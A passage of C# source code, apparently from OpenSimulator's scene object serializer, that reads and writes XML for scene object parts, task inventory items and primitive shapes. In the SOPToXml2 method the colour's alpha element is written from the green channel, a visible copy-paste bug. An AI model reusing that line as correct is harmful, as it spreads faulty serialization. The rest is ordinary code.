m_ShapeXmlProcessors.Add("FlexiSoftness", ProcessShpFlexiSoftness); m_ShapeXmlProcessors.Add("FlexiTension", ProcessShpFlexiTension); m_ShapeXmlProcessors.Add("FlexiDrag", ProcessShpFlexiDrag); m_ShapeXmlProcessors.Add("FlexiGravity", ProcessShpFlexiGravity); m_ShapeXmlProcessors.Add("FlexiWind", ProcessShpFlexiWind); m_ShapeXmlProcessors.Add("FlexiForceX", ProcessShpFlexiForceX); m_ShapeXmlProcessors.Add("FlexiForceY", ProcessShpFlexiForceY); m_ShapeXmlProcessors.Add("FlexiForceZ", ProcessShpFlexiForceZ); m_ShapeXmlProcessors.Add("LightColorR", ProcessShpLightColorR); m_ShapeXmlProcessors.Add("LightColorG", ProcessShpLightColorG); m_ShapeXmlProcessors.Add("LightColorB", ProcessShpLightColorB); m_ShapeXmlProcessors.Add("LightColorA", ProcessShpLightColorA); m_ShapeXmlProcessors.Add("LightRadius", ProcessShpLightRadius); m_ShapeXmlProcessors.Add("LightCutoff", ProcessShpLightCutoff); m_ShapeXmlProcessors.Add("LightFalloff", ProcessShpLightFalloff); m_ShapeXmlProcessors.Add("LightIntensity", ProcessShpLightIntensity); m_ShapeXmlProcessors.Add("FlexiEntry", ProcessShpFlexiEntry); m_ShapeXmlProcessors.Add("LightEntry", ProcessShpLightEntry); m_ShapeXmlProcessors.Add("SculptEntry", ProcessShpSculptEntry); m_ShapeXmlProcessors.Add("Media", ProcessShpMedia); #endregion } #region SOPXmlProcessors private static void ProcessAllowedDrop(SceneObjectPart obj, XmlTextReader reader) { obj.AllowedDrop = Util.ReadBoolean(reader); } private static void ProcessCreatorID(SceneObjectPart obj, XmlTextReader reader) { obj.CreatorID = Util.ReadUUID(reader, "CreatorID"); } private static void ProcessCreatorData(SceneObjectPart obj, XmlTextReader reader) { obj.CreatorData = reader.ReadElementContentAsString("CreatorData", String.Empty); } private static void ProcessFolderID(SceneObjectPart obj, XmlTextReader reader) { obj.FolderID = Util.ReadUUID(reader, "FolderID"); } private static void ProcessInventorySerial(SceneObjectPart obj, XmlTextReader reader) { obj.InventorySerial = (uint)reader.ReadElementContentAsInt("InventorySerial", String.Empty); } private static void ProcessTaskInventory(SceneObjectPart obj, XmlTextReader reader) { obj.TaskInventory = ReadTaskInventory(reader, "TaskInventory"); } private static void ProcessUUID(SceneObjectPart obj, XmlTextReader reader) { obj.UUID = Util.ReadUUID(reader, "UUID"); } private static void ProcessLocalId(SceneObjectPart obj, XmlTextReader reader) { obj.LocalId = (uint)reader.ReadElementContentAsLong("LocalId", String.Empty); } private static void ProcessName(SceneObjectPart obj, XmlTextReader reader) { obj.Name = reader.ReadElementString("Name"); } private static void ProcessMaterial(SceneObjectPart obj, XmlTextReader reader) { obj.Material = (byte)reader.ReadElementContentAsInt("Material", String.Empty); } private static void ProcessPassTouches(SceneObjectPart obj, XmlTextReader reader) { obj.PassTouches = Util.ReadBoolean(reader); } private static void ProcessRegionHandle(SceneObjectPart obj, XmlTextReader reader) { obj.RegionHandle = (ulong)reader.ReadElementContentAsLong("RegionHandle", String.Empty); } private static void ProcessScriptAccessPin(SceneObjectPart obj, XmlTextReader reader) { obj.ScriptAccessPin = reader.ReadElementContentAsInt("ScriptAccessPin", String.Empty); } private static void ProcessGroupPosition(SceneObjectPart obj, XmlTextReader reader) { obj.GroupPosition = Util.ReadVector(reader, "GroupPosition"); } private static void ProcessOffsetPosition(SceneObjectPart obj, XmlTextReader reader) { obj.OffsetPosition = Util.ReadVector(reader, "OffsetPosition"); ; } private static void ProcessRotationOffset(SceneObjectPart obj, XmlTextReader reader) { obj.RotationOffset = Util.ReadQuaternion(reader, "RotationOffset"); } private static void ProcessVelocity(SceneObjectPart obj, XmlTextReader reader) { obj.Velocity = Util.ReadVector(reader, "Velocity"); } private static void ProcessAngularVelocity(SceneObjectPart obj, XmlTextReader reader) { obj.AngularVelocity = Util.ReadVector(reader, "AngularVelocity"); } private static void ProcessAcceleration(SceneObjectPart obj, XmlTextReader reader) { obj.Acceleration = Util.ReadVector(reader, "Acceleration"); } private static void ProcessDescription(SceneObjectPart obj, XmlTextReader reader) { obj.Description = reader.ReadElementString("Description"); } private static void ProcessColor(SceneObjectPart obj, XmlTextReader reader) { reader.ReadStartElement("Color"); if (reader.Name == "R") { float r = reader.ReadElementContentAsFloat("R", String.Empty); float g = reader.ReadElementContentAsFloat("G", String.Empty); float b = reader.ReadElementContentAsFloat("B", String.Empty); float a = reader.ReadElementContentAsFloat("A", String.Empty); obj.Color = Color.FromArgb((int)a, (int)r, (int)g, (int)b); reader.ReadEndElement(); } } private static void ProcessText(SceneObjectPart obj, XmlTextReader reader) { obj.Text = reader.ReadElementString("Text", String.Empty); } private static void ProcessSitName(SceneObjectPart obj, XmlTextReader reader) { obj.SitName = reader.ReadElementString("SitName", String.Empty); } private static void ProcessTouchName(SceneObjectPart obj, XmlTextReader reader) { obj.TouchName = reader.ReadElementString("TouchName", String.Empty); } private static void ProcessLinkNum(SceneObjectPart obj, XmlTextReader reader) { obj.LinkNum = reader.ReadElementContentAsInt("LinkNum", String.Empty); } private static void ProcessClickAction(SceneObjectPart obj, XmlTextReader reader) { obj.ClickAction = (byte)reader.ReadElementContentAsInt("ClickAction", String.Empty); } private static void ProcessShape(SceneObjectPart obj, XmlTextReader reader) { obj.Shape = ReadShape(reader, "Shape"); } private static void ProcessScale(SceneObjectPart obj, XmlTextReader reader) { obj.Scale = Util.ReadVector(reader, "Scale"); } private static void ProcessUpdateFlag(SceneObjectPart obj, XmlTextReader reader) { obj.UpdateFlag = (byte)reader.ReadElementContentAsInt("UpdateFlag", String.Empty); } private static void ProcessSitTargetOrientation(SceneObjectPart obj, XmlTextReader reader) { obj.SitTargetOrientation = Util.ReadQuaternion(reader, "SitTargetOrientation"); } private static void ProcessSitTargetPosition(SceneObjectPart obj, XmlTextReader reader) { obj.SitTargetPosition = Util.ReadVector(reader, "SitTargetPosition"); } private static void ProcessSitTargetPositionLL(SceneObjectPart obj, XmlTextReader reader) { obj.SitTargetPositionLL = Util.ReadVector(reader, "SitTargetPositionLL"); } private static void ProcessSitTargetOrientationLL(SceneObjectPart obj, XmlTextReader reader) { obj.SitTargetOrientationLL = Util.ReadQuaternion(reader, "SitTargetOrientationLL"); } private static void ProcessParentID(SceneObjectPart obj, XmlTextReader reader) { string str = reader.ReadElementContentAsString("ParentID", String.Empty); obj.ParentID = Convert.ToUInt32(str); } private static void ProcessCreationDate(SceneObjectPart obj, XmlTextReader reader) { obj.CreationDate = reader.ReadElementContentAsInt("CreationDate", String.Empty); } private static void ProcessCategory(SceneObjectPart obj, XmlTextReader reader) { obj.Category = (uint)reader.ReadElementContentAsInt("Category", String.Empty); } private static void ProcessSalePrice(SceneObjectPart obj, XmlTextReader reader) { obj.SalePrice = reader.ReadElementContentAsInt("SalePrice", String.Empty); } private static void ProcessObjectSaleType(SceneObjectPart obj, XmlTextReader reader) { obj.ObjectSaleType = (byte)reader.ReadElementContentAsInt("ObjectSaleType", String.Empty); } private static void ProcessOwnershipCost(SceneObjectPart obj, XmlTextReader reader) { obj.OwnershipCost = reader.ReadElementContentAsInt("OwnershipCost", String.Empty); } private static void ProcessGroupID(SceneObjectPart obj, XmlTextReader reader) { obj.GroupID = Util.ReadUUID(reader, "GroupID"); } private static void ProcessOwnerID(SceneObjectPart obj, XmlTextReader reader) { obj.OwnerID = Util.ReadUUID(reader, "OwnerID"); } private static void ProcessLastOwnerID(SceneObjectPart obj, XmlTextReader reader) { obj.LastOwnerID = Util.ReadUUID(reader, "LastOwnerID"); } private static void ProcessBaseMask(SceneObjectPart obj, XmlTextReader reader) { obj.BaseMask = (uint)reader.ReadElementContentAsInt("BaseMask", String.Empty); } private static void ProcessOwnerMask(SceneObjectPart obj, XmlTextReader reader) { obj.OwnerMask = (uint)reader.ReadElementContentAsInt("OwnerMask", String.Empty); } private static void ProcessGroupMask(SceneObjectPart obj, XmlTextReader reader) { obj.GroupMask = (uint)reader.ReadElementContentAsInt("GroupMask", String.Empty); } private static void ProcessEveryoneMask(SceneObjectPart obj, XmlTextReader reader) { obj.EveryoneMask = (uint)reader.ReadElementContentAsInt("EveryoneMask", String.Empty); } private static void ProcessNextOwnerMask(SceneObjectPart obj, XmlTextReader reader) { obj.NextOwnerMask = (uint)reader.ReadElementContentAsInt("NextOwnerMask", String.Empty); } private static void ProcessFlags(SceneObjectPart obj, XmlTextReader reader) { obj.Flags = Util.ReadEnum<PrimFlags>(reader, "Flags"); } private static void ProcessCollisionSound(SceneObjectPart obj, XmlTextReader reader) { obj.CollisionSound = Util.ReadUUID(reader, "CollisionSound"); } private static void ProcessCollisionSoundVolume(SceneObjectPart obj, XmlTextReader reader) { obj.CollisionSoundVolume = reader.ReadElementContentAsFloat("CollisionSoundVolume", String.Empty); } private static void ProcessMediaUrl(SceneObjectPart obj, XmlTextReader reader) { obj.MediaUrl = reader.ReadElementContentAsString("MediaUrl", String.Empty); } private static void ProcessTextureAnimation(SceneObjectPart obj, XmlTextReader reader) { obj.TextureAnimation = Convert.FromBase64String(reader.ReadElementContentAsString("TextureAnimation", String.Empty)); } private static void ProcessParticleSystem(SceneObjectPart obj, XmlTextReader reader) { obj.ParticleSystem = Convert.FromBase64String(reader.ReadElementContentAsString("ParticleSystem", String.Empty)); } #endregion #region TaskInventoryXmlProcessors private static void ProcessTIAssetID(TaskInventoryItem item, XmlTextReader reader) { item.AssetID = Util.ReadUUID(reader, "AssetID"); } private static void ProcessTIBasePermissions(TaskInventoryItem item, XmlTextReader reader) { item.BasePermissions = (uint)reader.ReadElementContentAsInt("BasePermissions", String.Empty); } private static void ProcessTICreationDate(TaskInventoryItem item, XmlTextReader reader) { item.CreationDate = (uint)reader.ReadElementContentAsInt("CreationDate", String.Empty); } private static void ProcessTICreatorID(TaskInventoryItem item, XmlTextReader reader) { item.CreatorID = Util.ReadUUID(reader, "CreatorID"); } private static void ProcessTICreatorData(TaskInventoryItem item, XmlTextReader reader) { item.CreatorData = reader.ReadElementContentAsString("CreatorData", String.Empty); } private static void ProcessTIDescription(TaskInventoryItem item, XmlTextReader reader) { item.Description = reader.ReadElementContentAsString("Description", String.Empty); } private static void ProcessTIEveryonePermissions(TaskInventoryItem item, XmlTextReader reader) { item.EveryonePermissions = (uint)reader.ReadElementContentAsInt("EveryonePermissions", String.Empty); } private static void ProcessTIFlags(TaskInventoryItem item, XmlTextReader reader) { item.Flags = (uint)reader.ReadElementContentAsInt("Flags", String.Empty); } private static void ProcessTIGroupID(TaskInventoryItem item, XmlTextReader reader) { item.GroupID = Util.ReadUUID(reader, "GroupID"); } private static void ProcessTIGroupPermissions(TaskInventoryItem item, XmlTextReader reader) { item.GroupPermissions = (uint)reader.ReadElementContentAsInt("GroupPermissions", String.Empty); } private static void ProcessTIInvType(TaskInventoryItem item, XmlTextReader reader) { item.InvType = reader.ReadElementContentAsInt("InvType", String.Empty); } private static void ProcessTIItemID(TaskInventoryItem item, XmlTextReader reader) { item.ItemID = Util.ReadUUID(reader, "ItemID"); } private static void ProcessTIOldItemID(TaskInventoryItem item, XmlTextReader reader) { Util.ReadUUID(reader, "OldItemID"); // On deserialization, the old item id MUST BE UUID.Zero!!!!! // Setting this to the saved value will BREAK script persistence! // item.OldItemID = Util.ReadUUID(reader, "OldItemID"); } private static void ProcessTILastOwnerID(TaskInventoryItem item, XmlTextReader reader) { item.LastOwnerID = Util.ReadUUID(reader, "LastOwnerID"); } private static void ProcessTIName(TaskInventoryItem item, XmlTextReader reader) { item.Name = reader.ReadElementContentAsString("Name", String.Empty); } private static void ProcessTINextPermissions(TaskInventoryItem item, XmlTextReader reader) { item.NextPermissions = (uint)reader.ReadElementContentAsInt("NextPermissions", String.Empty); } private static void ProcessTIOwnerID(TaskInventoryItem item, XmlTextReader reader) { item.OwnerID = Util.ReadUUID(reader, "OwnerID"); } private static void ProcessTICurrentPermissions(TaskInventoryItem item, XmlTextReader reader) { item.CurrentPermissions = (uint)reader.ReadElementContentAsInt("CurrentPermissions", String.Empty); } private static void ProcessTIParentID(TaskInventoryItem item, XmlTextReader reader) { item.ParentID = Util.ReadUUID(reader, "ParentID"); } private static void ProcessTIParentPartID(TaskInventoryItem item, XmlTextReader reader) { item.ParentPartID = Util.ReadUUID(reader, "ParentPartID"); } private static void ProcessTIPermsGranter(TaskInventoryItem item, XmlTextReader reader) { item.PermsGranter = Util.ReadUUID(reader, "PermsGranter"); } private static void ProcessTIPermsMask(TaskInventoryItem item, XmlTextReader reader) { item.PermsMask = reader.ReadElementContentAsInt("PermsMask", String.Empty); } private static void ProcessTIType(TaskInventoryItem item, XmlTextReader reader) { item.Type = reader.ReadElementContentAsInt("Type", String.Empty); } private static void ProcessTIOwnerChanged(TaskInventoryItem item, XmlTextReader reader) { item.OwnerChanged = Util.ReadBoolean(reader); } #endregion #region ShapeXmlProcessors private static void ProcessShpProfileCurve(PrimitiveBaseShape shp, XmlTextReader reader) { shp.ProfileCurve = (byte)reader.ReadElementContentAsInt("ProfileCurve", String.Empty); } private static void ProcessShpTextureEntry(PrimitiveBaseShape shp, XmlTextReader reader) { byte[] teData = Convert.FromBase64String(reader.ReadElementString("TextureEntry")); shp.Textures = new Primitive.TextureEntry(teData, 0, teData.Length); } private static void ProcessShpExtraParams(PrimitiveBaseShape shp, XmlTextReader reader) { shp.ExtraParams = Convert.FromBase64String(reader.ReadElementString("ExtraParams")); } private static void ProcessShpPathBegin(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathBegin = (ushort)reader.ReadElementContentAsInt("PathBegin", String.Empty); } private static void ProcessShpPathCurve(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathCurve = (byte)reader.ReadElementContentAsInt("PathCurve", String.Empty); } private static void ProcessShpPathEnd(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathEnd = (ushort)reader.ReadElementContentAsInt("PathEnd", String.Empty); } private static void ProcessShpPathRadiusOffset(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathRadiusOffset = (sbyte)reader.ReadElementContentAsInt("PathRadiusOffset", String.Empty); } private static void ProcessShpPathRevolutions(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathRevolutions = (byte)reader.ReadElementContentAsInt("PathRevolutions", String.Empty); } private static void ProcessShpPathScaleX(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathScaleX = (byte)reader.ReadElementContentAsInt("PathScaleX", String.Empty); } private static void ProcessShpPathScaleY(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathScaleY = (byte)reader.ReadElementContentAsInt("PathScaleY", String.Empty); } private static void ProcessShpPathShearX(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathShearX = (byte)reader.ReadElementContentAsInt("PathShearX", String.Empty); } private static void ProcessShpPathShearY(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathShearY = (byte)reader.ReadElementContentAsInt("PathShearY", String.Empty); } private static void ProcessShpPathSkew(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathSkew = (sbyte)reader.ReadElementContentAsInt("PathSkew", String.Empty); } private static void ProcessShpPathTaperX(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathTaperX = (sbyte)reader.ReadElementContentAsInt("PathTaperX", String.Empty); } private static void ProcessShpPathTaperY(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathTaperY = (sbyte)reader.ReadElementContentAsInt("PathTaperY", String.Empty); } private static void ProcessShpPathTwist(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathTwist = (sbyte)reader.ReadElementContentAsInt("PathTwist", String.Empty); } private static void ProcessShpPathTwistBegin(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PathTwistBegin = (sbyte)reader.ReadElementContentAsInt("PathTwistBegin", String.Empty); } private static void ProcessShpPCode(PrimitiveBaseShape shp, XmlTextReader reader) { shp.PCode = (byte)reader.ReadElementContentAsInt("PCode", String.Empty); } private static void ProcessShpProfileBegin(PrimitiveBaseShape shp, XmlTextReader reader) { shp.ProfileBegin = (ushort)reader.ReadElementContentAsInt("ProfileBegin", String.Empty); } private static void ProcessShpProfileEnd(PrimitiveBaseShape shp, XmlTextReader reader) { shp.ProfileEnd = (ushort)reader.ReadElementContentAsInt("ProfileEnd", String.Empty); } private static void ProcessShpProfileHollow(PrimitiveBaseShape shp, XmlTextReader reader) { shp.ProfileHollow = (ushort)reader.ReadElementContentAsInt("ProfileHollow", String.Empty); } private static void ProcessShpScale(PrimitiveBaseShape shp, XmlTextReader reader) { shp.Scale = Util.ReadVector(reader, "Scale"); } private static void ProcessShpState(PrimitiveBaseShape shp, XmlTextReader reader) { shp.State = (byte)reader.ReadElementContentAsInt("State", String.Empty); } private static void ProcessShpProfileShape(PrimitiveBaseShape shp, XmlTextReader reader) { shp.ProfileShape = Util.ReadEnum<ProfileShape>(reader, "ProfileShape"); } private static void ProcessShpHollowShape(PrimitiveBaseShape shp, XmlTextReader reader) { shp.HollowShape = Util.ReadEnum<HollowShape>(reader, "HollowShape"); } private static void ProcessShpSculptTexture(PrimitiveBaseShape shp, XmlTextReader reader) { shp.SculptTexture = Util.ReadUUID(reader, "SculptTexture"); } private static void ProcessShpSculptType(PrimitiveBaseShape shp, XmlTextReader reader) { shp.SculptType = (byte)reader.ReadElementContentAsInt("SculptType", String.Empty); } private static void ProcessShpSculptData(PrimitiveBaseShape shp, XmlTextReader reader) { shp.SculptData = Convert.FromBase64String(reader.ReadElementString("SculptData")); } private static void ProcessShpFlexiSoftness(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiSoftness = reader.ReadElementContentAsInt("FlexiSoftness", String.Empty); } private static void ProcessShpFlexiTension(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiTension = reader.ReadElementContentAsFloat("FlexiTension", String.Empty); } private static void ProcessShpFlexiDrag(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiDrag = reader.ReadElementContentAsFloat("FlexiDrag", String.Empty); } private static void ProcessShpFlexiGravity(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiGravity = reader.ReadElementContentAsFloat("FlexiGravity", String.Empty); } private static void ProcessShpFlexiWind(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiWind = reader.ReadElementContentAsFloat("FlexiWind", String.Empty); } private static void ProcessShpFlexiForceX(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiForceX = reader.ReadElementContentAsFloat("FlexiForceX", String.Empty); } private static void ProcessShpFlexiForceY(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiForceY = reader.ReadElementContentAsFloat("FlexiForceY", String.Empty); } private static void ProcessShpFlexiForceZ(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiForceZ = reader.ReadElementContentAsFloat("FlexiForceZ", String.Empty); } private static void ProcessShpLightColorR(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightColorR = reader.ReadElementContentAsFloat("LightColorR", String.Empty); } private static void ProcessShpLightColorG(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightColorG = reader.ReadElementContentAsFloat("LightColorG", String.Empty); } private static void ProcessShpLightColorB(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightColorB = reader.ReadElementContentAsFloat("LightColorB", String.Empty); } private static void ProcessShpLightColorA(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightColorA = reader.ReadElementContentAsFloat("LightColorA", String.Empty); } private static void ProcessShpLightRadius(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightRadius = reader.ReadElementContentAsFloat("LightRadius", String.Empty); } private static void ProcessShpLightCutoff(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightCutoff = reader.ReadElementContentAsFloat("LightCutoff", String.Empty); } private static void ProcessShpLightFalloff(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightFalloff = reader.ReadElementContentAsFloat("LightFalloff", String.Empty); } private static void ProcessShpLightIntensity(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightIntensity = reader.ReadElementContentAsFloat("LightIntensity", String.Empty); } private static void ProcessShpFlexiEntry(PrimitiveBaseShape shp, XmlTextReader reader) { shp.FlexiEntry = Util.ReadBoolean(reader); } private static void ProcessShpLightEntry(PrimitiveBaseShape shp, XmlTextReader reader) { shp.LightEntry = Util.ReadBoolean(reader); } private static void ProcessShpSculptEntry(PrimitiveBaseShape shp, XmlTextReader reader) { shp.SculptEntry = Util.ReadBoolean(reader); } private static void ProcessShpMedia(PrimitiveBaseShape shp, XmlTextReader reader) { string value = reader.ReadElementContentAsString("Media", String.Empty); shp.Media = PrimitiveBaseShape.MediaList.FromXml(value); } #endregion ////////// Write ///////// public static void SOGToXml2(XmlTextWriter writer, SceneObjectGroup sog, Dictionary<string, object>options) { writer.WriteStartElement(String.Empty, "SceneObjectGroup", String.Empty); SOPToXml2(writer, sog.RootPart, options); writer.WriteStartElement(String.Empty, "OtherParts", String.Empty); sog.ForEachPart(delegate(SceneObjectPart sop) { if (sop.UUID != sog.RootPart.UUID) SOPToXml2(writer, sop, options); }); writer.WriteEndElement(); writer.WriteEndElement(); } public static void SOPToXml2(XmlTextWriter writer, SceneObjectPart sop, Dictionary<string, object> options) { writer.WriteStartElement("SceneObjectPart"); writer.WriteAttributeString("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance"); writer.WriteAttributeString("xmlns:xsd", "http://www.w3.org/2001/XMLSchema"); writer.WriteElementString("AllowedDrop", sop.AllowedDrop.ToString().ToLower()); WriteUUID(writer, "CreatorID", sop.CreatorID, options); if (sop.CreatorData != null && sop.CreatorData != string.Empty) writer.WriteElementString("CreatorData", sop.CreatorData); else if (options.ContainsKey("profile")) { if (m_UserManagement == null) m_UserManagement = sop.ParentGroup.Scene.RequestModuleInterface<IUserManagement>(); string name = m_UserManagement.GetUserName(sop.CreatorID); writer.WriteElementString("CreatorData", (string)options["profile"] + "/" + sop.CreatorID + ";" + name); } WriteUUID(writer, "FolderID", sop.FolderID, options); writer.WriteElementString("InventorySerial", sop.InventorySerial.ToString()); WriteTaskInventory(writer, sop.TaskInventory, options, sop.ParentGroup.Scene); WriteUUID(writer, "UUID", sop.UUID, options); writer.WriteElementString("LocalId", sop.LocalId.ToString()); writer.WriteElementString("Name", sop.Name); writer.WriteElementString("Material", sop.Material.ToString()); writer.WriteElementString("PassTouches", sop.PassTouches.ToString().ToLower()); writer.WriteElementString("RegionHandle", sop.RegionHandle.ToString()); writer.WriteElementString("ScriptAccessPin", sop.ScriptAccessPin.ToString()); WriteVector(writer, "GroupPosition", sop.GroupPosition); WriteVector(writer, "OffsetPosition", sop.OffsetPosition); WriteQuaternion(writer, "RotationOffset", sop.RotationOffset); WriteVector(writer, "Velocity", sop.Velocity); WriteVector(writer, "AngularVelocity", sop.AngularVelocity); WriteVector(writer, "Acceleration", sop.Acceleration); writer.WriteElementString("Description", sop.Description); writer.WriteStartElement("Color"); writer.WriteElementString("R", sop.Color.R.ToString(Utils.EnUsCulture)); writer.WriteElementString("G", sop.Color.G.ToString(Utils.EnUsCulture)); writer.WriteElementString("B", sop.Color.B.ToString(Utils.EnUsCulture)); writer.WriteElementString("A", sop.Color.G.ToString(Utils.EnUsCulture)); writer.WriteEndElement(); writer.WriteElementString("Text", sop.Text); writer.WriteElementString("SitName", sop.SitName); writer.WriteElementString("TouchName", sop.TouchName); writer.WriteElementString("LinkNum", sop.LinkNum.ToString()); writer.WriteElementString("ClickAction", sop.ClickAction.ToString()); WriteShape(writer, sop.Shape, options); WriteVector(writer, "Scale", sop.Scale); writer.WriteElementString("UpdateFlag", sop.UpdateFlag.ToString()); WriteQuaternion(writer, "SitTargetOrientation", sop.SitTargetOrientation); WriteVector(writer, "SitTargetPosition", sop.SitTargetPosition); WriteVector(writer, "SitTargetPositionLL", sop.SitTargetPositionLL); WriteQuaternion(writer, "SitTargetOrientationLL", sop.SitTargetOrientationLL); writer.WriteElementString("ParentID", sop.ParentID.ToString()); writer.WriteElementString("CreationDate", sop.CreationDate.ToString()); writer.WriteElementString("Category", sop.Category.ToString()); writer.WriteElementString("SalePrice", sop.SalePrice.ToString()); writer.WriteElementString("ObjectSaleType", sop.ObjectSaleType.ToString()); writer.WriteElementString("OwnershipCost", sop.OwnershipCost.ToString()); WriteUUID(writer, "GroupID", sop.GroupID, options); WriteUUID(writer, "OwnerID", sop.OwnerID, options); WriteUUID(writer, "LastOwnerID", sop.LastOwnerID, options); writer.WriteElementString("BaseMask", sop.BaseMask.ToString()); writer.WriteElementString("OwnerMask", sop.OwnerMask.ToString()); writer.WriteElementString("GroupMask", sop.GroupMask.ToString()); writer.WriteElementString("EveryoneMask", sop.EveryoneMask.ToString()); writer.WriteElementString("NextOwnerMask", sop.NextOwnerMask.ToString()); WriteFlags(writer, "Flags", sop.Flags.ToString(), options); WriteUUID(writer, "CollisionSound", sop.CollisionSound, options); writer.WriteElementString("CollisionSoundVolume", sop.CollisionSoundVolume.ToString()); if (sop.MediaUrl != null) writer.WriteElementString("MediaUrl", sop.MediaUrl.ToString()); WriteBytes(writer, "TextureAnimation", sop.TextureAnimation); WriteBytes(writer, "ParticleSystem", sop.ParticleSystem); writer.WriteEndElement(); } static void WriteUUID(XmlTextWriter writer, string name, UUID id, Dictionary<string, object> options) { writer.WriteStartElement(name); if (options.ContainsKey("old-guids")) writer.WriteElementString("Guid", id.ToString()); else writer.WriteElementString("UUID", id.ToString()); writer.WriteEndElement(); } static void WriteVector(XmlTextWriter writer, string name, Vector3 vec) { writer.WriteStartElement(name); writer.WriteElementString("X", vec.X.ToString(Utils.EnUsCulture)); writer.WriteElementString("Y", vec.Y.ToString(Utils.EnUsCulture)); writer.WriteElementString("Z", vec.Z.ToString(Utils.EnUsCulture)); writer.WriteEndElement(); } static void WriteQuaternion(XmlTextWriter writer, string name, Quaternion quat) { writer.WriteStartElement(name); writer.WriteElementString("X", quat.X.ToString(Utils.EnUsCulture)); writer.WriteElementString("Y", quat.Y.ToString(Utils.EnUsCulture)); writer.WriteElementString("Z", quat.Z.ToString(Utils.EnUsCulture)); writer.WriteElementString("W", quat.W.ToString(Utils.EnUsCulture)); writer.WriteEndElement(); } static void WriteBytes(XmlTextWriter writer, string name, byte[] data) { writer.WriteStartElement(name); byte[] d; if (data != null) d = data; else d = Utils.EmptyBytes; writer.WriteBase64(d, 0, d.Length); writer.WriteEndElement(); // name } static void WriteFlags(XmlTextWriter writer, string name, string flagsStr, Dictionary<string, object> options) { // Older versions of serialization can't cope with commas, so we eliminate the commas writer.WriteElementString(name, flagsStr.Replace(",", "")); } static void WriteTaskInventory(XmlTextWriter writer, TaskInventoryDictionary tinv, Dictionary<string, object> options, Scene scene) { if (tinv.Count > 0) // otherwise skip this { writer.WriteStartElement("TaskInventory"); foreach (TaskInventoryItem item in tinv.Values) { writer.WriteStartElement("TaskInventoryItem"); WriteUUID(writer, "AssetID", item.AssetID, options); writer.WriteElementString("BasePermissions", item.BasePermissions.ToString()); writer.WriteElementString("CreationDate", item.CreationDate.ToString()); WriteUUID(writer, "CreatorID", item.CreatorID, options); if (item.CreatorData != null && item.CreatorData != string.Empty) writer.WriteElementString("CreatorData", item.CreatorData); else if (options.ContainsKey("profile")) { if (m_UserManagement == null) m_UserManagement = scene.RequestModuleInterface<IUserManagement>(); string name = m_UserManagement.GetUserName(item.CreatorID); writer.WriteElementString("CreatorData", (string)options["profile"] + "/" + item.CreatorID + ";" + name); } writer.WriteElementString("Description", item.Description); writer.WriteElementString("EveryonePermissions", item.EveryonePermissions.ToString()); writer.WriteElementString("Flags", item.Flags.ToString()); WriteUUID(writer, "GroupID", item.GroupID, options); writer.WriteElementString("GroupPermissions", item.GroupPermissions.ToString()); writer.WriteElementString("InvType", item.InvType.ToString()); WriteUUID(writer, "ItemID", item.ItemID, options); WriteUUID(writer, "OldItemID", item.OldItemID, options); WriteUUID(writer, "LastOwnerID", item.LastOwnerID, options); writer.WriteElementString("Name", item.Name); writer.WriteElementString("NextPermissions", item.NextPermissions.ToString()); WriteUUID(writer, "OwnerID", item.OwnerID, options); writer.WriteElementString("CurrentPermissions", item.CurrentPermissions.ToString()); WriteUUID(writer, "ParentID", item.ParentID, options); WriteUUID(writer, "ParentPartID", item.ParentPartID, options); WriteUUID(writer, "PermsGranter", item.PermsGranter, options); writer.WriteElementString("PermsMask", item.PermsMask.ToString()); writer.WriteElementString("Type", item.Type.ToString()); writer.WriteElementString("OwnerChanged", item.OwnerChanged.ToString().ToLower()); writer.WriteEndElement(); // TaskInventoryItem } writer.WriteEndElement(); // TaskInventory } } static void WriteShape(XmlTextWriter writer, PrimitiveBaseShape shp, Dictionary<string, object> options) { if (shp != null) { writer.WriteStartElement("Shape"); writer.WriteElementString("ProfileCurve", shp.ProfileCurve.ToString()); writer.WriteStartElement("TextureEntry"); byte[] te; if (shp.TextureEntry != null) te = shp.TextureEntry; else te = Utils.EmptyBytes; writer.WriteBase64(te, 0, te.Length); writer.WriteEndElement(); // TextureEntry writer.WriteStartElement("ExtraParams"); byte[] ep; if (shp.ExtraParams != null) ep = shp.ExtraParams; else ep = Utils.EmptyBytes; writer.WriteBase64(ep, 0, ep.Length); writer.WriteEndElement(); // ExtraParams writer.WriteElementString("PathBegin", shp.PathBegin.ToString()); writer.WriteElementString("PathCurve", shp.PathCurve.ToString()); writer.WriteElementString("PathEnd", shp.PathEnd.ToString()); writer.WriteElementString("PathRadiusOffset", shp.PathRadiusOffset.ToString()); writer.WriteElementString("PathRevolutions", shp.PathRevolutions.ToString()); writer.WriteElementString("PathScaleX", shp.PathScaleX.ToString()); writer.WriteElementString("PathScaleY", shp.PathScaleY.ToString()); writer.WriteElementString("PathShearX", shp.PathShearX.ToString()); writer.WriteElementString("PathShearY", 